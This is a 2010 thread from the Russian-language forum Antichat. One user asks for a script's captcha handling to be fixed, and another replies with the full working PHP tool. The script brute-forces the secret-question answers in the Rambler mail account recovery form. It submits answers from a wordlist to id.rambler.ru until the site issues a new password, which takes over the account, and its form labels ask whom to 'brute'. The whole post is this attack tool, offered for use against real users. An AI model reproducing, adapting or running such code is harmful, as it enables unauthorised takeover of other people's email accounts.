Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Допилите скрипт. PHP (https://forum.antichat.xyz/showthread.php?t=206154)

petryxa 23.05.2010 13:59

Допилите скрипт. PHP
 
Допилите пожалуйста скрипт https://forum.antichat.ru/thread182331.html
нужно исправить вывод капчи.
скрипт очень нужен помогите пожалуйста.

zifanchuck 24.05.2010 20:48

Опа))) наш скрипт оказался еще кому-то нужен))) Ну раз так, то вот для тебя исправил)))
лови

PHP код:

<?php
// (c)Kusto & zifanchuck V2
//for forum.antichat.ru
set_time_limit(0);
function 
curl($url,$post)
{
$cfile 'cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1. Gecko/20100202 Firefox/3.5.8");
curl_setopt($chCURLOPT_HEADER0);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
}


    function 
read($path)
{
   
$file=fopen($path,"r");
   
$bufer fread($file,filesize($path));
   
fclose($file);
   return(
$bufer);
}

$file 'my.txt';
$domain $_POST['domain'];
$login $_POST['login'];
$captcha $_POST['captcha'];
$id $_POST['id'];


if(!
$domain||!$login||!$captcha||!$id)
{

$result curl('http://id.rambler.ru/script/reminder.cgi','');
$result iconv("utf-8""windows-1251"$result);

//получаем адрес каптчи
preg_match('#<img id="secimage" src="http://id.rambler.ru/captcha/(.*).jpg"#iU',$result$cap);
$id=$cap[1];

    echo 
'<form method="POST">
            <p align=center>
                <label for="id-login">кого брутим?</label>
                <span class="indicator">
                    <input type="text" class="text" name="login" />
                    <select id="id-domain" class="text" name="domain" tabindex="1">
                        <option value="rambler.ru"  >@rambler.ru</option>
                        <option value="lenta.ru"  >@lenta.ru</option>
                        <option value="myrambler.ru"  >@myrambler.ru</option>
                        <option value="autorambler.ru"  >@autorambler.ru</option>
                        <option value="ro.ru"  >@ro.ru</option>
                        <option value="r0.ru"  >@r0.ru</option>
                    </select>
                </span><br>
                <img id="secimage" src="http://id.rambler.ru/captcha/'
.$id.'.jpg" width="300" height="60" alt="Введите показанные на картинке символы" border="0" title="Введите показанные на картинке символы"><br>
            Капча:<input type="text" name="captcha" value="" /><br>
          <input type="hidden" name="id" value="'
.$id.'" />
            <input type=submit value="ПОЕХАЛИ!!!"></form>'
;
    exit;
}
else
{
$answers explode("\r\n",read($file));

$result iconv("utf-8""windows-1251"curl("http://id.rambler.ru/script/reminder.cgi","action=question&skin=id&back=&back_immediate=&uniq_id=".$id."&user.password=&user.login=".$login."&user.domain=".$domain."&user.captcha=".$captcha."&done=%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0    %B8%D1%82%D1%8C"));
preg_match("#indicator\"\>\<strong>(.*)\<\/strong#iU",$result$qves);

    if (
$qves[1])
    {
    echo 
"<B><U><FONT SIZE=5 COLOR=GREEN>$qves[1]</FONT></U></B></br>";

        for(
$i=0;$i<count($answers);$i++)
        {
        
$fam $answers[$i];
        
$bien iconv("utf-8""windows-1251",curl('http://id.rambler.ru/script/reminder.cgi','action=password&skin=id&uniq_id='.$_POST['id'].'&back=&user.password=&user.answer='.urlencode(iconv("windows-1251""utf-8",$fam))));
        if (
strstr($bien"новый пароль")) { echo " поздравляю ответ подобран $fam";exit;}
        else {echo 
"ответ $fam не подошел <br>";}
        
flush();
        }

    }
    else
    {
            echo 
'<form method="POST">
            <p align=center>
                <b>Неправильно ввели каптчу!</b><br>
                <label for="id-login">кого брутим?</label>
                <span class="indicator">
                    <input type="text" class="text" name="login" />
                    <select id="id-domain" class="text" name="domain" tabindex="1">
                        <option value="rambler.ru"  >@rambler.ru</option>
                        <option value="lenta.ru"  >@lenta.ru</option>
                        <option value="myrambler.ru"  >@myrambler.ru</option>
                        <option value="autorambler.ru"  >@autorambler.ru</option>
                        <option value="ro.ru"  >@ro.ru</option>
                        <option value="r0.ru"  >@r0.ru</option>
                    </select>
                </span><br>
                <img id="secimage" src="http://id.rambler.ru/captcha/'
.$id.'.jpg" width="300" height="60" alt="Введите показанные на картинке символы" border="0" title="Введите показанные на картинке символы"><br>
            Капча:<input type="text" name="captcha" value="" /><br>
          <input type="hidden" name="id" value="'
.$id.'" />
            <input type=submit value="ПОЕХАЛИ!!!"></form>'
;
    }
}
?>



Время: 04:57